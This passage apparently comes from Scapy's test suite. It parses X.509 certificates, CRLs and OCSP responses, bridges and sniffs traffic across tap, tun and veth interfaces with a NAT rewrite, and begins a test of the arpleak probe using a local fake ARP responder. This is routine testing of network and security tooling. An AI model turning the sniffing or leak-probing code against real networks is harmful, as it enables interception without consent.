AOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQU1vUiq6+MemfH69K9TnY2VDcBzdIwHwYDVR0jBBgwFoAUP8rKky+uwfavmkn3YezKPryPZXkwgcgGA1UdHwSBwDCBvTCBuqCBt6CBtIaBsWxkYXA6Ly8vQ049ZG9tYWluLURDMS1DQSxDTj1EQzEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9ZG9tYWluLERDPWxvY2FsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwAYIKwYBBQUHAQEEgbMwgbAwga0GCCsGAQUFBzAChoGgbGRhcDovLy9DTj1kb21haW4tREMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWRvbWFpbixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA8BgNVHREENTAzoB8GCSsGAQQBgjcZAaASBBBzEAh+YqaMQ5DcXUF1z8mXghBEQzEuZG9tYWluLmxvY2FsME0GCSsGAQQBgjcZAgRAMD6gPAYKKwYBBAGCNxkCAaAuBCxTLTEtNS0yMS0xOTI0MTM3MjE0LTM3MTg2NDYyNzQtNDAyMTU3MjEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAgEAWwJuAQIRP3w9XheBdw+PgvMlfeIPV615Ce9C47HJto0kJOWtlBk3gF0WEjP7l8sToBU9v9L1zkczDh42XvSYSipv1q+20fRiXWQj0HqZRPt7yKcN3nnW4Foj6nFUlKjp8WIViQvJxUP2IP/SeblPRADry4AfRgxipq5rikl1PIQTH99u5MNEIePeP7apCcMizOd72RE/S9bPpQ4vB6vJ5T20YNSspHqC2qQnqOUqQwKrd+0i44bV4NANDPwv8wqzTvbDA9JMWm7sUanrl0x2yvfB9JyuZmo8y3JE7D8RFs/Z5btvWvQ4CWWIgVKnVncXOr98ytSaGNOift2NNz/2sox26Dgls4xklllnHiF2353IDSNPZqTNruWjUyM+4RuGKu6djqlaTneNEOi9Cu5HSE95JC03k9NhYyDW8PUIAWksLiWMYFng4KH37U9P15EiPsgPY70nP4ll6NqKt7RfXnSH7AmvacvY7dazsKOulAdzp8YuQ5vjR61FsbB/jn1hwtR7OdNYFKd9KK66zFSrX+n0sTXMou1FzvqDUj5+qLlbyEzYvU/QbNTxYUIjjNv+asXtD9T+UaKoI5PyeRBA4cnU7+klduy0vVh2Lx6lnIZPVCG7i1sQYRQQ3ESP7QSUuJtG/wgJZ5KspzfIHBjt62549oVj0CoJcvMZ2wOr8iY=')\nx=X509_Cert(c)\n\n= Cert class: Check some Windows-specific extensions\ntbs = x.tbsCertificate\next = tbs.extensions\nassert type(ext) is list\nassert len(ext) == 10\n\nassert [x[0].extnID.oidname for x in ext] == [\n    'ENROLL_CERTTYPE',\n    'extKeyUsage',\n    'keyUsage',\n    'smimeCapabilities',\n    'subjectKeyIdentifier',\n    'authorityKeyIdentifier',\n    'cRLDistributionPoints',\n    'authorityInfoAccess',\n    'subjectAltName',\n    'NTDS_CA_SECURITY_EXT',\n]\nassert ext[0].extnValue.Name == b'\\x00D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00C\\x00o\\x00n\\x00t\\x00r\\x00o\\x00l\\x00l\\x00e\\x00r'\nassert ext[1].extnValue.extendedKeyUsage[0].oid == '1.3.6.1.5.5.7.3.2'\nassert ext[6].extnValue.cRLDistributionPoints[0].distributionPoint.distributionPointName.fullName[0].generalName.uniformResourceIdentifier == b'ldap:///CN=domain-DC1-CA,CN=DC1,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=domain,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint'\nassert ext[8].extnValue.subjectAltName[1].generalName.dNSName == b\"DC1.domain.local\"\nassert ext[9].extnValue.value == b'S-1-5-21-1924137214-3718646274-40215721-1000'\n\n= Cert class : X509 Certificate with rare fields types\ncert_with_bmp_string = base64.b64decode('MIIB3DCCAaagAwIBAgIBATANBgkqhkiG9w0BAQsFADCB9jELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMQswCQYDVQQHEwJMRzEXMBUGA1UEChMOV2Vic2Vuc2UsIEluYy4xGjAYBgNVBAsTEVdlYnNlbnNlIEVuZHBvaW50MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QHdlYnNlbnNlLmNvbTE2MDQGA1UEAxMtV2Vic2Vuc2UgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MTswOQYDVQQNHjIAMQAyADQANgAxADgAMwA1ADEANABFAFAAQAB3AGUAYgBzAGUAbgBzAGUALgBjAG8AbTAeFw0yNDExMDUxMDA0MjlaFw0yNDExMDYxMDE0MjlaMEMxCzAJBgNVBAYTAkZSMRQwEgYDVQQKEwtTY2FweSwgSW5jLjEeMBwGA1UEAxMVU2NhcHkgRGVmYXVsdCBTdWJqZWN0MBowDQYJKoZIhvcNAQELBQADCQAwBgIBCgIBA6MTMBEwDwYDVR0TAQEABAUwAwEBADANBgkqhkiG9w0BAQsFAAMhAGRlZmF1bHRzaWduYXR1cmVkZWZhdWx0c2lnbmF0dXJl')\nc = X509_Cert(cert_with_bmp_string)\nbmp_field_value = str(c.tbsCertificate.issuer[7].rdn[0].value.val, \"utf-16be\")\nassert bmp_field_value == '1246183514EP@websense.com'\n\n\n############ CRL class ###############################################\n\n+ X509_CRL class tests\n= CRL class : Importing DER encoded X.509 CRL\nfrom scapy.layers.x509 import X509_CRL\nc = base64.b64decode('MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWdu\\nLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0\\naG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcyMzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6\\nLcgXDTA0MDQwMTE3NTYxNVowIQIQOkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBB\\nXYg2gRUg1YCDRqhZkngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEw\\nOTE4MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13eGPI5ZoKm\\nj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5VeFw0wMTEyMTExODI2MjFa\\nMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIRs3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE\\n0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZzXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBk\\nDCYJI5C3nLlQA49LGJ+w4GUPYBwaZ+WFxCX1C8kzglLm')\nx=X509_CRL(c)\n\n= CRL class : Rebuild crl\nraw(x) == c\n\n= CRL class : Version\ntbs = x.tbsCertList\ntbs.version == None\n\n= CRL class : Signature algorithm (as advertised by TBSCertList)\nassert type(tbs.signature) is X509_AlgorithmIdentifier\ntbs.signature.algorithm == ASN1_OID(\"sha1-with-rsa-signature\")\n\n= CRL class : Issuer structure\nassert type(tbs.issuer) is list\nassert len(tbs.issuer) == 3\nassert type(tbs.issuer[0]) is X509_RDN\nassert type(tbs.issuer[0].rdn) is list\nassert type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue\n\n= CRL class : Issuer first attribute\ntbs.issuer[0].rdn[0].type == ASN1_OID(\"countryName\") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b\"US\")\n\n= CRL class : Issuer string\ntbs.get_issuer_str() == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority'\n\n= CRL class : This update\ntbs.this_update == ASN1_UTC_TIME(\"061102000000Z\")\n\n= CRL class : Optional next update\ntbs.next_update == ASN1_UTC_TIME(\"070217235959Z\")\n\n= CRL class : Optional revoked_certificates structure\nfrom scapy.layers.x509 import X509_RevokedCertificate\nassert type(tbs.revokedCertificates) is list\nassert len(tbs.revokedCertificates) == 7\nassert type(tbs.revokedCertificates[0]) is X509_RevokedCertificate\n\n= CRL class : Revoked_certificates first attribute\ntbs.revokedCertificates[0].serialNumber == ASN1_INTEGER(59577943160751197113872490992424857032) and tbs.revokedCertificates[0].revocationDate == ASN1_UTC_TIME(\"040401175615Z\")\n\n= CRL class : Extensions structure\ntbs.crlExtensions == None\n\n= CRL class : Signature algorithm\nassert type(x.signatureAlgorithm) is X509_AlgorithmIdentifier\nx.signatureAlgorithm.algorithm == ASN1_OID(\"sha1-with-rsa-signature\")\n\n= CRL class : Signature value\nx.signatureValue == ASN1_BIT_STRING(b'\"\\xc9\\xf6\\xbb\\x1d\\xa1\\xa5=$\\xc7\\xff\\xb0\"\\x11\\xb3p\\x06[\\xc5U\\xdd3v\\xa0\\x98\"\\x08cDi\\xcfOG%w\\x99\\x12\\x84\\xd2\\x19\\xae \\x94\\xca,T\\x9ak\\x81\\xd2\\x038\\xa6Z\\x95\\x8d*\\xe2a\\xce\\xdb\\x19\\xcdu\\'Y&|V\\xe1\\xe4\\x80q\\x1aI\\xb2\\xaa\\xcdI[\\xda\\x0f\\xa8\\xff\\xce<\\n\\xfc\\xc9\\xad\\xc6\\xde\\xc8@d\\x0c&\\t#\\x90\\xb7\\x9c\\xb9P\\x03\\x8fK\\x18\\x9f\\xb0\\xe0e\\x0f`\\x1c\\x1ag\\xe5\\x85\\xc4%\\xf5\\x0b\\xc93\\x82R\\xe6', readable=True)\n\n= CRL class : Default X509_CRL from scratch\ns = raw(X509_CRL())\nraw(X509_CRL(s)) == s\n\n\n############ Randval tests ###############################################\n\n= Randval tests : ASN1F_SEQUENCE_OF\nfrom scapy.layers.x509 import ASN1P_INTEGER, X509_OtherName\nrandom.seed(42)\nr = ASN1F_SEQUENCE_OF(\"test\", [], ASN1P_INTEGER).randval().number\nassert isinstance(r, RandNum)\nint(r) == -16393048219351680611\n\n= Randval tests : ASN1F_PACKET\nrandom.seed(0xcafecafe)\nr = ASN1F_PACKET(\"otherName\", None, X509_OtherName).randval()\nassert isinstance(r, X509_OtherName)\nstr(r.type_id) == '171.184.10.271'\n\n\n############ OCSP class ###############################################\n\n= OCSP class : OCSP Response import\nfrom scapy.layers.x509 import OCSP_Response\ns = b'0\\x82\\x01\\xd3\\n\\x01\\x00\\xa0\\x82\\x01\\xcc0\\x82\\x01\\xc8\\x06\\t+\\x06\\x01\\x05\\x05\\x070\\x01\\x01\\x04\\x82\\x01\\xb90\\x82\\x01\\xb50\\x81\\x9e\\xa2\\x16\\x04\\x14Qh\\xff\\x90\\xaf\\x02\\x07u<\\xcc\\xd9edb\\xa2\\x12\\xb8Yr;\\x18\\x0f20160914121000Z0s0q0I0\\t\\x06\\x05+\\x0e\\x03\\x02\\x1a\\x05\\x00\\x04\\x14\\xcf&\\xf5\\x18\\xfa\\xc9~\\x8f\\x8c\\xb3B\\xe0\\x1c/j\\x10\\x9e\\x8e_\\n\\x04\\x14Qh\\xff\\x90\\xaf\\x02\\x07u<\\xcc\\xd9edb\\xa2\\x12\\xb8Yr;\\x02\\x10\\x07z]\\xc36#\\x01\\xf9\\x89\\xfeT\\xf7\\xf8o>d\\x80\\x00\\x18\\x0f20160914121000Z\\xa0\\x11\\x18\\x0f20160921112500Z0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x90\\xef\\xf9\\x15U\\x88\\xac@l\\xf6n\\x04C/\\x1a\\xf5\\xbc[Xi\\xd9U\\xbe\\'\\xd3\\xb7\\xf5\\xbb\\t\\xd8\\xb1Tw\\x9c2\\xac\\x7f\\x88\\xba\\x98\\xe4\\xa13\\xf4\\xdc\\xea\\xf3\\xacX\\xe4,E\\xf5\\xa9\\xc3\\xf4B-N\\xe0\\x89D[\\xbe\\n\\xc2h\\x9ar\\xfd\\'.\\xc8,\\xed\\x83\\xc2\\xf0\\x89_\\x8c\\xc3\\xe7\\x8a\\xad\\xa4\\x14\\x03\\x96\\x02\\xc4\\xa8\\xc8\\x90\\x96%X\\x80\\x95\\x02\\x9d_\\xc82;m\\xe9\\x15\\x00\\xa8\\x00\\xb9\\x01\\xe3aN&\\xe4\\xd5\\x8a\\xc4w7\\x0b\\xc3~\\xc5\\xb1M\\x10~T\\x9e\\x1d\\xf6\\x06\\xf8\\x12sTg\\x14b_\\xe7\\xc04\\xb4\\xa3\\xd2\\x8f\\xe6\\xa6\\xc4\\x01q\\x03j\\xc8\\xd4\\xc7\\x89\\xdde\\x99\\x1a\\xd9\\x02\\xe7\\x17\\xd1\\xf40P\\xef\\xf6$\\xee\\xfad\\xf4\\xeb\\xc8\\xf7\\x0bRL\\x8b\\xa5x\\xe4R2\\xe9\\xc2\\xfcB\\nh\\x93\\xf7\\x0ep4h\\xeb\\x17\\x83\\xc8\\x88!\\xc3W\\x94WG\\xfe3\\x15C0qE&A\\x99\\xa8}\\x1a\\xda\"\\xa9O\\xba\\x90W_W\\xado\\x1c\\xf0`g7\\xbb$\\x91o\\xec\\xdd\\xbd\\x9e\\x8bb\\xfc'\nresponse = OCSP_Response(s)\n\n= OCSP class : OCSP Response global checks\nfrom scapy.layers.x509 import OCSP_ResponseBytes\nassert response.responseStatus.val == 0\nassert isinstance(response.responseBytes, OCSP_ResponseBytes)\nresponseBytes = response.responseBytes\nassert responseBytes.responseType == ASN1_OID(\"basic-response\")\nassert responseBytes.signatureAlgorithm.algorithm == ASN1_OID(\"sha256WithRSAEncryption\")\nassert responseBytes.signatureAlgorithm.parameters == ASN1_NULL(0)\nassert responseBytes.signature.val_readable[:3] == b\"\\x90\\xef\\xf9\" and responseBytes.signature.val_readable[-3:] == b\"\\x8bb\\xfc\"\nresponseBytes.certs is None\n\n= OCSP class : OCSP ResponseData checks\nfrom scapy.layers.x509 import OCSP_ByKey\nresponseData = responseBytes.tbsResponseData\nassert responseData.version is None\nrID = responseData.responderID.responderID\nassert isinstance(rID, OCSP_ByKey)\nassert rID.byKey.val[:3] == b\"Qh\\xff\" and rID.byKey.val[-3:] == b\"Yr;\"\nassert responseData.producedAt == ASN1_GENERALIZED_TIME(\"20160914121000Z\")\nassert len(responseData.responses) == 1\nresponseData.responseExtensions is None\n\n= OCSP class : OCSP ResponseData dissection with RecokedInfo\nfrom scapy.layers.x509 import OCSP_ResponseData\npkt = OCSP_ResponseData(b\"0\\x81\\xdf\\xa2\\x16\\x04\\x14\\x11\\x7f\\x8eD\\xbb\\xe9\\x7f\\xca'\\xfeG\\x90\\x89\\\\\\x18\\xea\\x0e\\xa5#W\\x18\\x0f20240121133708Z0\\x81\\x8e0\\x81\\x8b0M0\\t\\x06\\x05+\\x0e\\x03\\x02\\x1a\\x05\\x00\\x04\\x14\\x0b\\xaf\\xcc#$\\xb8\\xb0\\xf8\\xb02,\\x9aPn9VSW\\x14\\x14\\x04\\x14\\x11\\x7f\\x8eD\\xbb\\xe9\\x7f\\xca'\\xfeG\\x90\\x89\\\\\\x18\\xea\\x0e\\xa5#W\\x02\\x14\\x10&\\x99j\\t\\xaa\\xb9>\\xde\\x06\\xb6#b\\xa9\\xe4GA\\x07\\x1b2\\xa1\\x16\\x18\\x0f20240120133708Z\\xa0\\x03\\n\\x01\\x01\\x18\\x0f20240121133708Z\\xa0\\x11\\x18\\x0f20240122133708Z\\xa1#0!0\\x1f\\x06\\t+\\x06\\x01\\x05\\x05\\x070\\x01\\x02\\x04\\x12\\x04\\x10\\xfc\\xb6\\x92\\xdf^\\xf3\\x03{\\tH}\\x12\\x9f\\xaa\\x13^\")\nassert pkt.responderID.responderID.byKey == b\"\\x11\\x7f\\x8eD\\xbb\\xe9\\x7f\\xca'\\xfeG\\x90\\x89\\\\\\x18\\xea\\x0e\\xa5#W\"\nassert pkt.responses[0].certID.issuerNameHash == b'\\x0b\\xaf\\xcc#$\\xb8\\xb0\\xf8\\xb02,\\x9aPn9VSW\\x14\\x14'\nassert pkt.responses[0].certStatus.certStatus.revocationReason.cRLReason == 0x1\n\n= OCSP class : OCSP SingleResponse checks\nfrom scapy.layers.x509 import OCSP_GoodInfo\nsingleResponse = responseData.responses[0]\nassert singleResponse.certID.hashAlgorithm.algorithm == ASN1_OID(\"sha1\")\nassert singleResponse.certID.hashAlgorithm.parameters == ASN1_NULL(0)\nassert singleResponse.certID.issuerNameHash.val[:3] == b\"\\xcf&\\xf5\" and singleResponse.certID.issuerNameHash.val[-3:] == b\"\\x8e_\\n\"\nassert singleResponse.certID.issuerKeyHash.val[:3] == b\"Qh\\xff\" and singleResponse.certID.issuerKeyHash.val[-3:] == b\"Yr;\"\nassert singleResponse.certID.serialNumber.val == 0x77a5dc3362301f989fe54f7f86f3e64\nassert isinstance(singleResponse.certStatus.certStatus, OCSP_GoodInfo)\nassert singleResponse.thisUpdate == ASN1_GENERALIZED_TIME(\"20160914121000Z\")\nassert singleResponse.nextUpdate == ASN1_GENERALIZED_TIME(\"20160921112500Z\")\nsingleResponse.singleExtensions is None\n\n= OCSP class : OCSP Response reconstruction\nraw(response) == s\n\n= OSCP class : OSCP Response with ECDSA\nresponse = OCSP_ResponseBytes()\nassert bytes(response.signature) == b'\\x03!\\x00defaultsignaturedefaultsignature'\nresponse.signatureAlgorithm.algorithm = ASN1_OID('1.2.840.10045.4.3.2')\nassert bytes(response.signature) == b'\\x03\\t\\x000\\x06\\x02\\x01\\x00\\x02\\x01\\x00'\nresponse = OCSP_ResponseBytes(bytes(response))\nassert isinstance(response.signature, ECDSASignature)\n"
  },
  {
    "path": "test/sendsniff.uts",
    "content": "% send, sniff, sr* tests for Scapy\n\n~ needs_root\n\n############\n############\n+ Test bridge_and_sniff() using tap sockets\n\n~ tap\n\n= Create two tap interfaces\n\nimport subprocess\nfrom threading import Thread\n\ntap0, tap1 = [TunTapInterface(\"tap%d\" % i) for i in range(2)]\n\nchk_kwargs = {\"timeout\": 3}\n\nif LINUX:\n    for i in range(2):\n        assert subprocess.check_call([\"ip\", \"link\", \"set\", \"tap%d\" % i, \"up\"], **chk_kwargs) == 0\nelse:\n    for i in range(2):\n        assert subprocess.check_call([\"ifconfig\", \"tap%d\" % i, \"up\"], **chk_kwargs) == 0\n\n= Run a sniff thread on the tap1 **interface**\n* It will terminate when 5 IP packets from 192.0.2.1 have been sniffed\nstarted = threading.Event()\nt_sniff = Thread(\n    target=sniff,\n    kwargs={\"iface\": \"tap1\", \"count\": 5, \"prn\": Packet.summary,\n            \"lfilter\": lambda p: IP in p and p[IP].src == \"192.0.2.1\",\n            \"started_callback\": started.set},\n    name=\"tests sniff 1\")\nt_sniff.start()\nstarted.wait(timeout=5)\n\n= Run a bridge_and_sniff thread between the taps **sockets**\n* It will terminate when 5 IP packets from 192.0.2.1 have been forwarded\nstarted = threading.Event()\nt_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1),\n                  kwargs={\"store\": False, \"count\": 5, 'prn': Packet.summary,\n                          \"lfilter\": lambda p: IP in p and p[IP].src == \"192.0.2.1\",\n                          \"started_callback\": started.set},\n                  name=\"tests bridge_and_sniff 1\")\nt_bridge.start()\nstarted.wait(timeout=5)\n\n= Send five IP packets from 192.0.2.1 to the tap0 **interface**\nsendp([Ether(dst=ETHER_BROADCAST) / IP(src=\"192.0.2.1\") / ICMP()], iface=\"tap0\",\n      count=5)\n\n= Wait for the threads\nt_bridge.join(5)\nt_sniff.join(5)\nassert not t_bridge.is_alive()\nassert not t_sniff.is_alive()\n\n= Run a sniff thread on the tap1 **interface**\n* It will terminate when 5 IP packets from 198.51.100.1 have been sniffed\nstarted = threading.Event()\nt_sniff = Thread(\n    target=sniff,\n    kwargs={\"iface\": \"tap1\", \"count\": 5, \"prn\": Packet.summary,\n            \"lfilter\": lambda p: IP in p and p[IP].src == \"198.51.100.1\",\n            \"started_callback\": started.set},\n    name=\"tests sniff 2\")\nt_sniff.start()\nstarted.wait(timeout=5)\n\n= Run a bridge_and_sniff thread between the taps **sockets**\n* It will \"NAT\" packets from 192.0.2.1 to 198.51.100.1 and will terminate when 5 IP packets have been forwarded\ndef nat_1_2(pkt):\n    if IP in pkt and pkt[IP].src == \"192.0.2.1\":\n        pkt[IP].src = \"198.51.100.1\"\n        del pkt[IP].chksum\n        return pkt\n    return False\n\nstarted = threading.Event()\nt_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1),\n                  kwargs={\"store\": False, \"count\": 5, 'prn': Packet.summary,\n                          \"xfrm12\": nat_1_2,\n                          \"lfilter\": lambda p: IP in p and p[IP].src == \"192.0.2.1\",\n                          \"started_callback\": started.set},\n                  name=\"tests bridge_and_sniff 2\")\nt_bridge.start()\nstarted.wait(timeout=5)\n\n= Send five IP packets from 192.0.2.1 to the tap0 **interface**\nsendp([Ether(dst=ETHER_BROADCAST) / IP(src=\"192.0.2.1\") / ICMP()], iface=\"tap0\",\n      count=5)\n\n= Wait for the threads\nt_bridge.join(5)\nt_sniff.join(5)\nassert not t_bridge.is_alive()\nassert not t_sniff.is_alive()\n\n= Delete the tap interfaces\nif conf.use_pypy:\n    # See https://pypy.readthedocs.io/en/latest/cpython_differences.html\n    tap0.close()\n    tap1.close()\nelse:\n    del tap0, tap1\n\n\n############\n############\n+ Test bridge_and_sniff() using tun sockets\n\n~ tun not_libpcap\n\n= Create two tun interfaces\n\nimport subprocess\nfrom threading import Thread\n\ntun0, tun1 = [TunTapInterface(\"tun%d\" % i) for i in range(2)]\n\nchk_kwargs = {\"timeout\": 3}\n\nif LINUX:\n    for i in range(2):\n        assert subprocess.check_call([\"ip\", \"link\", \"set\", \"tun%d\" % i, \"up\"], **chk_kwargs) == 0\n    assert subprocess.check_call([\n        \"ip\", \"addr\", \"change\",\n        \"192.0.2.1\", \"peer\", \"192.0.2.2\", \"dev\", \"tun0\"], **chk_kwargs) == 0\nelse:\n    for i in range(2):\n        assert subprocess.check_call([\"ifconfig\", \"tun%d\" % i, \"up\"], **chk_kwargs) == 0\n    assert subprocess.check_call([\"ifconfig\", \"tun0\", \"192.0.2.1\", \"192.0.2.2\"], **chk_kwargs) == 0\n\n= Run a sniff thread on the tun1 **interface**\n* It will terminate when 5 IP packets from 192.0.2.1 have been sniffed\nstarted = threading.Event()\nt_sniff = Thread(target=sniff,\n                 kwargs={\"iface\": \"tun1\", \"count\": 5,\n                         \"prn\": Packet.summary,\n                         \"lfilter\": lambda p: IP in p and p[IP].src == \"192.0.2.1\",\n                         \"started_callback\": started.set},\n                 name=\"tests sniff 3\")\n\nt_sniff.start()\nstarted.wait(timeout=5)\n\n= Run a bridge_and_sniff thread between the tuns **sockets**\n* It will terminate when 5 IP packets from 192.0.2.1 have been forwarded.\nstarted = threading.Event()\nt_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1),\n                  kwargs={\"store\": False, \"count\": 5, 'prn': Packet.summary,\n                          \"xfrm12\": lambda pkt: pkt,\n                          \"lfilter\": lambda p: IP in p and p[IP].src == \"192.0.2.1\",\n                          \"started_callback\": started.set},\n                          name=\"tests bridge_and_sniff 3\")\nt_bridge.start()\nstarted.wait(timeout=5)\n\n= Send five IP packets from 192.0.2.1 to the tun0 **interface**\nconf.route.add(net=\"192.0.2.2/32\", dev=\"tun0\")\nsend([IP(src=\"192.0.2.1\", dst=\"192.0.2.2\") / ICMP()], count=5, iface=\"tun0\")\nconf.route.delt(net=\"192.0.2.2/32\", dev=\"tun0\")\n\n= Wait for the threads\nt_bridge.join(5)\nt_sniff.join(5)\nassert not t_bridge.is_alive()\nassert not t_sniff.is_alive()\n\n= Run a sniff thread on the tun1 **interface**\n* It will terminate when 5 IP packets from 198.51.100.1 have been sniffed\nstarted = threading.Event()\nt_sniff = Thread(target=sniff,\n                 kwargs={\"iface\": \"tun1\", \"count\": 5, \"prn\": Packet.summary,\n                         \"lfilter\": lambda p: IP in p and p[IP].src == \"198.51.100.1\",\n                         \"started_callback\": started.set},\n                 name=\"tests sniff 4\")\n\nt_sniff.start()\nstarted.wait(timeout=5)\n\n= Run a bridge_and_sniff thread between the tuns **sockets**\n* It will \"NAT\" packets from 192.0.2.1 to 198.51.100.1 and will terminate when 5 IP packets have been forwarded\ndef nat_1_2(pkt):\n    if IP in pkt and pkt[IP].src == \"192.0.2.1\":\n        pkt[IP].src = \"198.51.100.1\"\n        del pkt[IP].chksum\n        return pkt\n    return False\n\nstarted = threading.Event()\nt_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1),\n                  kwargs={\"store\": False, \"count\": 5, 'prn': Packet.summary,\n                          \"xfrm12\": nat_1_2,\n                          \"lfilter\": lambda p: IP in p and p[IP].src == \"192.0.2.1\",\n                          \"started_callback\": started.set},\n                          name=\"tests bridge_and_sniff 4\")\nt_bridge.start()\nstarted.wait(timeout=5)\n\n= Send five IP packets from 192.0.2.1 to the tun0 **interface**\nconf.route.add(net=\"192.0.2.2/32\", dev=\"tun0\")\nsend([IP(src=\"192.0.2.1\", dst=\"192.0.2.2\") / ICMP()], count=5, iface=\"tun0\")\nconf.route.delt(net=\"192.0.2.2/32\", dev=\"tun0\")\n\n= Wait for the threads\nt_bridge.join(5)\nt_sniff.join(5)\nassert not t_bridge.is_alive()\nassert not t_sniff.is_alive()\n\n= Delete the tun interfaces\nif conf.use_pypy:\n    # See https://pypy.readthedocs.io/en/latest/cpython_differences.html\n    tun0.close()\n    tun1.close()\nelse:\n    del tun0, tun1\n\n\n############\n############\n+ Test bridge_and_sniff() using veth pairs\n~ linux needs_root veth\n\n= Ensure bridge_and_sniff does not close sockets if data is send within xfrm on ingress interface\n\nfrom scapy.arch.linux import VEthPair\n\nwith VEthPair('a_0', 'a_1') as veth_0:\n    with VEthPair('b_0', 'b_1') as veth_1:\n        xfrm_count = {\n            'a_0':0,\n            'b_0': 0\n        }\n        def xfrm_x(pkt):\n            pkt_tx = pkt.copy()\n            ether_lyr = pkt_tx[Ether]\n            ether_lyr.type = 0x1234  # we send to peer interface - avoid loop\n            # send on receiving interface - triggers return None on recv() in L2Socket\n            sendp(pkt_tx, iface=pkt.sniffed_on)\n            global xfrm_count\n            xfrm_count[pkt.sniffed_on] = xfrm_count[pkt.sniffed_on] + 1\n            return True\n        started = threading.Event()\n        t_bridge = Thread(target=bridge_and_sniff,\n                          args=('a_0', 'b_0'),\n                          kwargs={\n                              'xfrm12': xfrm_x,\n                              'xfrm21': xfrm_x,\n                              'store': False,\n                              'count': 4,\n                              'lfilter': lambda p: Ether in p and p[Ether].type == 0xbeef,\n                              \"started_callback\": started.set},\n                          name=\"tests bridge_and_sniff VEthPair\")\n        t_bridge.start()\n        started.wait(timeout=5)\n        # send frames in both directions\n        for if_name in ['a_1', 'b_1', 'a_1', 'b_1']:\n            sendp([Ether(type=0xbeef) /\n                   Raw(b'On a scale from one to ten what is your favourite colour of the alphabet?')],\n                  iface=if_name)\n        t_bridge.join(1)\n        # now test of the socket used in bridge_and_sniff() was alive all the time\n        assert (xfrm_count['a_0'] == 2)\n        assert (xfrm_count['b_0'] == 2)\n\n\n############\n############\n+ Test arpleak() using a tap socket\n\n~ tap tcpdump\n\n= Create a tap interface\n\nfrom unittest import mock\nimport struct\nimport subprocess\nfrom threading import Thread\nimport time\n\ntap0 = TunTapInterface(\"tap0\")\n\nchk_kwargs = {\"timeout\": 3}\n\nif LINUX:\n    assert subprocess.check_call([\"ip\", \"link\", \"set\", \"tap0\", \"up\"], **chk_kwargs) == 0\nelse:\n    assert subprocess.check_call([\"ifconfig\", \"tap0\", \"up\"], **chk_kwargs) == 0\n\n= Check for arpleak\n\ndef answer_arp_leak(pkt):\n    mymac = b\"\\x00\\x01\\x02\\x03\\x04\\x06\"\n    myip = b\"\\xc0\\x00\\x02\\x02\" # 192.0.2.2\n    if not ARP in pkt:\n        return\n    e_src = pkt.src\n    pkt = raw(pkt[ARP])\n    if pkt[:4] != b'\\x00\\x01\\x08\\x00':\n        print(\"Invalid ARP\")\n        return\n    hwlen, plen, op = struct.unpack('>BBH', pkt[4:8])\n    if op != 1:\n        print(\"Invalid ARP op\")\n        return\n    fmt = ('%ds%ds' % (hwlen, plen)) * 2\n    hwsrc, psrc, hwdst, pdst = struct.unpack(fmt,\n                                             pkt[8:8 + (plen + hwlen) * 2])\n    if pdst[:4] != myip[:plen]:\n        print(\"Invalid ARP pdst %r\" % pdst)\n        return\n    ans = Ether(dst=e_src, src=mymac, type=0x0806)\n    ans /= (b'\\x00\\x01\\x08\\x00' +\n            struct.pack('>BBH' + fmt,\n                        hwlen, plen, 2, mymac, myip, hwsrc, psrc))\n    tap0.send(ans)\n    print('Answered!')\n\nstarted = threading.Event()\nt_answer = Thread(\n    target=sniff,\n    kwargs={\"prn\": answer_arp_leak, \"timeout\": 10, \"store\": False,\n            \"opened_socket\": tap0,\n            \"started_callback\": started.set},\n    name=\"tests 